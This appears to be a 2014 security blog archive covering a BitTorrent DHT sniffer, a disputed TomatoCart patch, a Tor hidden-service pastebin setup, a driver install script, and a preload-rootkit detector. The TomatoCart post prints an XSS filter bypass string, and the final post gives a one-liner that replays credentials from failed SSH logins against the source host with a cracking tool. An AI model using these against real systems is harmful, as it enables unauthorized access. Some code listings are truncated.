Friday, September 5, 2014

Sniffing BitTorrent DHT Traffic


I've been playing with some of the protocols that power BitTorrent recently just for my own knowledge. While digging into the Distributed Hash Table, I decided to whip up a quick packet sniffer to decode the queries and responses. This gives a quick insight into how your client is interacting with the nodes around it.

The Source

Joining the Swarm

The code is available on github. The default monitoring port is 51413 (default for transmission). Consult your client's documentation or use lsof to find the listening port.

$ lsof -i | grep UDP
transmiss   999 debian-transmission   12u  IPv4 16474843      0t0  UDP *:51413
$ sudo python 51413 -> (94 bytes): {'a': {'id': '\xab/Da\xcd\x7f\xbcI\xef[E\\\x88m6\xae\xab\xbd<\xd6', 'target': "\x12\x34\\'\xab5\xfbGj\x96M\x15\xce\xad\x91@\xb9' E"}, 'q': 'find_node', 't': 'fn\x00\x00', 'y': 'q'}

Going Beyond

I didn't implement it yet, but decoding the node list returned by find_node and get_peers is relatively straight forward. This would give an even more in depth look at how your client / nodes around you are communicating. Refer to the documentation above for how node lists are constructed and returned.

Wednesday, August 6, 2014

Tomatocart: ECommerce Devs and Dishonest Incompetence

I would rather not make such a post, but in this particular case, a vendor has forced my hand.

Recently I submitted two vulnerabilities to the developers of tomatocart, CVE-2014-3978 and CVE-2014-3830 (SQL injection and XSS). When I submitted these vulnerabilities, I requested that they send me a patch for pre-approval because of the complexity of the exploits, to which they agreed.

They responded with an ineffective patch via email, which I informed them was ineffective and I even had the software architect at the company I work for write them a detailed report on the matter. While they had claimed that they would let us pre-approve the patch, they published it against our advice and disregarded all future emails that their patch was ineffective, even the multi-page report the architect wrote.

If you read the vulnerability details for the SQL injection, you will clearly see that no amount of escaping single quotes will fix this as there are no single quotes in the exploit at all.

The XSS vulnerability is also not properly patched by JYin's patch. Because of unsafe string replacement, it is possible to force a tag through the sanitize function like so:

echo sanitize("<s<html>cr</html>ipt>");

This will result in a script tag being added anyway.

A pull request was sent to the tomatocart github, which they have ignored thus far.

Jack Yin (tomatocart developer) has yet to implement proper security practice and has disregarded our emails throughout this process as if he knew better when he did not. As such, he has demonstrated such a lack of competence that we must recommend that all TomatoCart users immediately migrate to another ecommerce solution, as the developers are not competent or committed to security.

I never enjoy writing this type of post; but to protect the consumer from lackadaisical vendors, it has to be done. Sorry, Jack.

Tuesday, July 22, 2014's Encrypted Pastebin as a TOR Hidden Service


The following is all based on the original code from who was gracious enough to release the code via Github. The released repository is mostly intact, but requires some quick fixes to get it running. I forked the original repository, and created an easy to deploy standalone package, also available from Github

The code is obviously available for review, but this article will focus on deploying PIEBin as a TOR hidden service. Testing was done under vanilla Debian install on a minimal VPS setup.


Before we dig in, you'll need to install the following packages onto your VPS.
  • MySQL
  • Nginx
  • PHP
  • Tor
$ sudo apt-get install mysql-server php5-mysql nginx php5-fpm tor

Download Pastebin Files

For minimal configuration, install the files into /usr/share/nginx/www/pastebin via the following commands. Please note that if you are setting up your own TOR service, you should take precautions while downloading the software that you intend to run as the hidden service. Timing analysis / timeline reconstruction could point a finger at you if you're using either your server or home IP address to acquire the software from third party sites. Download using your tor browser or setup proxy chains.

 $ cd /usr/share/nginx/www
 $ git clone [email protected]:chokepoint/pastebin.git

Initialize the Database

Now that we have mysql installed, we need to create the database and table structure for the pastebin application. Using the password you created during installation, open up the MySQL client.

mysql -u 'root' -p
Password: *****
> CREATE TABLE pastes (token VARCHAR(70), data TEXT, time INTEGER, jscrypt TEXT);

Preparing TOR

Configuring a server as a TOR hidden service is relatively straight forward, but care must be taken in order to not leak information about the actual host of the service. We'll configure both port 80 and 443. HTTP requests will simply be redirected to the HTTPS service for security reasons. To do this, we'll add the following three lines to /etc/tor/torrc

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443
HiddenServicePort 80

Now, simply restart tor in order to reveal your new .onion address.

$ sudo service tor restart
$ sudo cat /var/lib/tor/hidden_service/hostname

Generate Self Signed SSL Certificates

In order to support encrypted HTTPS connections, we must generate a self signed certificate. The following sequence will set up a 2048 bit key for use with nginx which we'll configure next.

 $ sudo mkdir /etc/nginx/ssl && cd /etc/nginx/ssl
 $ sudo openssl genrsa -des3 -out server.key 2048
 $ sudo openssl req -new -key server.key -out server.csr
 $ sudo cp server.key
 $ sudo openssl rsa -in -out server.key
 $ sudo openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

Configure nginx

As I mentioned earlier, you need to take steps to ensure information is not leaked about the actual server hosting these hidden services. The following section will configure nginx to listen on localhost only so that our service can only be accessed through the TOR network. Be sure to change server_name to the .onion you generated during the first step. You may also need to tweak the root directory depending upon where you originally installed the pastebin source files.

# /etc/nginx/sites-available/default
 server {
  listen; ## listen for ipv4; this line is default and implied
  listen ssl;
  ssl_certificate /etc/nginx/ssl/server.crt;
  ssl_certificate_key /etc/nginx/ssl/server.key;
  root /usr/share/nginx/www/pastebin; # Change to your directory
  index index.php index.html index.htm;
  # Change this to the onion address we created earlier.
  server_name sldfjadlkjfalieta.onion;
  location / {
   try_files $uri $uri/ /index.html;
  location ~ \.php$ {
               try_files $uri =404;
               fastcgi_index index.php;
               fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
               include fastcgi_params;
  #error_page 404 /404.html;
  #error_page 405 = $uri;

Next we'll disable logging by modifying /etc/nginx/nginx.conf.

access_log /dev/null
error_log /dev/null

Now restart nginx so that the changes take effect.


If you completed the above steps you should now be running your own TOR hidden, encrypted pastebin. Open up your browser and navigate to the .onion address we generated earlier.

Friday, April 25, 2014

Installing Broadcom BCM43142 Drivers on Kali Linux


I've seen some confusion when it comes to installing the wireless drivers for Broadcom's BCM43142 802.11b/g/n card, specifically with Kali or other Debian based distributions. If you're running Linux kernel < 3.10, then just comment out the lines regarding the wl_3.10 patch. This script has been run on both 32bit and 64bit installations with Kali 1.0.6.


$ lspci | grep BCM43142
02:00.0 Network controller: Broadcom Corporation BCM43142 802.11b/g/n (rev 01)

Installing the drivers

The script is available through Github using the wget command below, or check the bottom of this article for the full script.

$ wget
$ chmod +x
$ sudo ./


Kali Linux
Broadcom Driver Instructions
Original wl_3.10 Patch


# chmod +x
# ./

mkdir broadcom 
cd broadcom
apt-get install linux-headers-`uname -r` build-essential -y

if [ `uname -m` == "i686" ] ; then
tar -xvf hybrid-v35*
patch -p2 < wl_3.10.patch
cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
rmmod bcma
echo "blacklist bcma" >> /etc/modprobe.d/blacklist.conf
modprobe wl

Friday, February 14, 2014

Detecting Userland Preload Rootkits


We recently released a new userland rootkit on BHL named Azazel. It's similar to previous versions of Jynx/Jynx2, but is more advanced and focused on anti-debugging and anti-detection methods. This leads us into a current major problem with rootkit detection mechanisms such as rkhunter. Put simply, if you run these tools in a potentially compromised environment, you cannot trust their output. Rkhunter relies primarily on signature detection which is fine for known threats that use default values and file names, but here's a simple detection method that compares the address of syscalls loaded directly from libc, and the "next" address to that system call. By comparing the two values, you can more accurately detect preload based userland rootkits.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/"

int main(int argc, char *argv[]) {
 void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
 char *syscalls[] = {"open", "readdir", "fopen", "accept", "access", "unlink"};
 int i;
 void *(*libc_func)();
 void *(*next_func)();

 for (i = 0; i < 6; ++i) {
  printf("[+] Checking %s syscall.\n", syscalls[i]);
  libc_func = dlsym(libc, syscalls[i]);
  next_func = dlsym(RTLD_NEXT, syscalls[i]);
  if (libc_func != next_func) {
   printf("[!] Preload hooks dectected!\n");
   printf("Libc address: %p\n", libc_func);
   printf("Next address: %p\n", next_func);

 return 0;
$ gcc preloadcheck.c -o preloadcheck -ldl
$ ./preloadcheck
[+] Checking open syscall.
[+] Checking readdir syscall.
[+] Checking fopen syscall.
[+] Checking accept syscall.
[+] Checking access syscall.
[+] Checking unlink syscall.
Now here's an example run against Azazel.
$ LD_PRELOAD=/lib/ ./preloadcheck
[+] Checking open syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65a890
Next address: 0x7fe1bfb1d932
[+] Checking readdir syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf633c50
Next address: 0x7fe1bfb1dc56
[+] Checking fopen syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf5f46c0
Next address: 0x7fe1bfb1d6c6
[+] Checking accept syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf6676a0
Next address: 0x7fe1bfb1eb4a
[+] Checking access syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65ab40
Next address: 0x7fe1bfb1d670
[+] Checking unlink syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65bd50
Next address: 0x7fe1bfb1db58

Note: This is not an end all to preload kits. As we have seen with Azazel, kits are still able to selectively filter results or unhook specific programs to avoid detection. It is also important to note that by hooking's functions themselves, one could even evade this detection mechanism.

Sunday, February 9, 2014

CrunchPwn Linux Full Alpha Release

#Pwn Linux

CrunchPwn Linux full alpha live CD is now available for download on Sourceforge and in torrent form on Linux Tracker. If you would like to install it as an addition to your existing Debian / CrunchBang environment, follow the directions below to add the repository to apt.

$ curl | sudo apt-key add -
$ echo '## Crunchpwn
deb purson main' >> /etc/apt/sources.list
$ sudo apt-get update 
$ sudo apt-get install crunchpwn

Default Credentials

User: user
Password: crunchpwn


Updates in Alpha Release

Updates include a completely revamped tool menu and the addition of several packages. For a full list of tools, head over to the github documents section.

9-Feb-2014crunchpwn_0.1-7Full Alpha
31-Jan-2014crunchpwn_0.1-6Nightly Build
25-Jan-2014crunchpwn_0.1-5Nightly Build
22-Jan-2014crunchpwn_0.1-4Nightly Build

Request for Support

Notice a bug, or missing tool that you'd like to see added? Please open an issue on the github issue tracker so that one of our maintainers can address it. If you're interested in creating some artwork or additional themes, feel free to submit them as well. We accept pull requests of all sizes.

Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM


Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.


This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.


In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.